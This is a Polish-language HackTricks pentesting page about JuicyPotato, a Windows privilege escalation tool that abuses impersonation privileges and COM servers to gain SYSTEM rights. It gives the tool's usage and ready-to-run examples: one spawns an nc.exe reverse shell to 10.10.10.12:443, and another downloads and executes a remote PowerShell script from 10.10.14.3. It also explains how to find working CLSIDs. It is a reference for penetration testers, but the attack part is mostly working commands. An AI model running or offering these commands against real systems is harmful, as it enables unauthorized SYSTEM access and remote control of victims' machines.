hacktricks/windows-hardening/windows-local-privilege-escalation/juicypotato.md

11 KiB

JuicyPotato

Rozpocznij naukę hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

WhiteIntel

WhiteIntel to wyszukiwarka zasilana dark webem, która oferuje darmowe funkcje sprawdzania, czy firma lub jej klienci zostali skompromitowani przez złośliwe oprogramowanie kradnące dane.

Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.

Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za darmo pod adresem:

{% embed url="https://whiteintel.io" %}


{% hint style="warning" %} JuicyPotato nie działa na Windows Server 2019 i Windows 10 od wersji 1809. Jednak PrintSpoofer, RoguePotato, SharpEfsPotato można użyć do wykorzystania tych samych uprawnień i uzyskania dostępu na poziomie NT AUTHORITY\SYSTEM. Sprawdź: {% endhint %}

{% content-ref url="roguepotato-and-printspoofer.md" %} roguepotato-and-printspoofer.md {% endcontent-ref %}

Juicy Potato (wykorzystanie złotych uprawnień)

Wersja ulepszona RottenPotatoNG, z odrobiną soku, czyli inne narzędzie do eskalacji uprawnień lokalnych, z kont usług systemu Windows do NT AUTHORITY\SYSTEM

Możesz pobrać juicypotato z https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts

Podsumowanie

Z Readme juicy-potato:

RottenPotatoNG i jego warianty wykorzystują łańcuch eskalacji uprawnień oparty na usłudze BITS service mającą słuchacza MiTM na 127.0.0.1:6666 i posiadając uprawnienia SeImpersonate lub SeAssignPrimaryToken. Podczas przeglądu budowy systemu Windows znaleźliśmy konfigurację, w której BITS został celowo wyłączony, a port 6666 był zajęty.

Zdecydowaliśmy się zbrojnić RottenPotatoNG: Witaj Juicy Potato.

Dla teorii, zobacz Rotten Potato - Eskalacja uprawnień z kont usługowych do SYSTEM i śledź łańcuch linków i odnośników.

Odkryliśmy, że oprócz BITS istnieje kilka serwerów COM, które możemy wykorzystać. Muszą one po prostu:

  1. być instancjonowalne przez bieżącego użytkownika, zwykle „użytkownika usługi”, który ma uprawnienia do podszycia się
  2. implementować interfejs IMarshal
  3. działać jako użytkownik z podwyższonymi uprawnieniami (SYSTEM, Administrator, ...)

Po przeprowadzeniu testów uzyskaliśmy i przetestowaliśmy obszerną listę interesujących CLSIDów na kilku wersjach systemu Windows.

Szczegóły Juicy

JuicyPotato pozwala Ci:

  • Wybierz CLSID wybierz dowolny CLSID, który chcesz. Tutaj znajdziesz listę zorganizowaną według systemu operacyjnego.
  • Port nasłuchiwania COM zdefiniuj preferowany port nasłuchiwania COM (zamiast zahardkodowanego 6666)
  • Adres IP nasłuchiwania COM zwiąż serwer z dowolnym adresem IP
  • Tryb tworzenia procesu w zależności od uprawnień podszycanego użytkownika możesz wybrać spośród:
  • CreateProcessWithToken (wymaga SeImpersonate)
  • CreateProcessAsUser (wymaga SeAssignPrimaryToken)
  • oba
  • Proces do uruchomienia uruchom wykonywalny plik lub skrypt, jeśli eksploatacja się powiedzie
  • Argument procesu dostosuj argumenty uruchamianego procesu
  • Adres serwera RPC dla dyskretnego podejścia możesz uwierzytelnić się na zewnętrznym serwerze RPC
  • Port serwera RPC przydatny, jeśli chcesz uwierzytelniać się na zewnętrznym serwerze, a zapora blokuje port 135...
  • Tryb TEST głównie do celów testowych, czyli testowania CLSIDów. Tworzy DCOM i drukuje użytkownika tokena. Zobacz tutaj testowanie

Użycie

T:\>JuicyPotato.exe
JuicyPotato v0.1

Mandatory args:
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: program to launch
-l <port>: COM server listen port


Optional args:
-m <ip>: COM server listen address (default 127.0.0.1)
-a <argument>: command line argument to pass to program (default NULL)
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)

Podsumowanie

Z pliku Readme juicy-potato:

Jeśli użytkownik ma uprawnienia SeImpersonate lub SeAssignPrimaryToken, to jesteś SYSTEM.

Prawie niemożliwe jest zapobieżenie nadużyciom wszystkich tych serwerów COM. Możesz pomyśleć o zmianie uprawnień tych obiektów za pomocą DCOMCNFG, ale powodzenia, to będzie wyzwanie.

Rzeczywiste rozwiązanie polega na ochronie kont i aplikacji, które działają pod kontami * SERVICE. Zatrzymanie DCOM z pewnością ograniczyłoby to wykorzystanie, ale mogłoby to poważnie wpłynąć na działanie systemu operacyjnego.

Źródło: http://ohpe.it/juicy-potato/

Przykłady

Uwaga: Odwiedź tę stronę w celu uzyskania listy CLSID do wypróbowania.

Uzyskaj odwrócony shell nc.exe

c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *

Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK

c:\Users\Public>

Powershell odwrócony

.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *

Uruchom nowe CMD (jeśli masz dostęp RDP)

Problemy z CLSID

Często domyślne CLSID, które używa JuicyPotato, nie działa i eksploatacja zawodzi. Zazwyczaj wymaga kilku prób, aby znaleźć działający CLSID. Aby uzyskać listę CLSID do wypróbowania dla określonego systemu operacyjnego, powinieneś odwiedzić tę stronę:

{% embed url="https://ohpe.it/juicy-potato/CLSID/" %}

Sprawdzanie CLSID

Najpierw będziesz potrzebować kilku plików wykonywalnych oprócz juicypotato.exe.

Pobierz Join-Object.ps1 i załaduj go do swojej sesji PS, a następnie pobierz i wykonaj GetCLSID.ps1. Ten skrypt utworzy listę możliwych CLSID do przetestowania.

Następnie pobierz test_clsid.bat (zmień ścieżkę do listy CLSID i do pliku wykonywalnego juicypotato) i wykonaj go. Zacznie próbować każdego CLSID, a gdy numer portu się zmieni, oznacza to, że CLSID zadziałał.

Sprawdź działające CLSID korzystając z parametru -c

Odnośniki

WhiteIntel

WhiteIntel to wyszukiwarka zasilana dark-webem, która oferuje darmowe funkcje do sprawdzania, czy firma lub jej klienci nie zostali skompromitowani przez złośliwe oprogramowanie kradnące informacje.

Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.

Możesz odwiedzić ich stronę internetową i wypróbować ich silnik za darmo pod adresem:

{% embed url="https://whiteintel.io" %}

Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!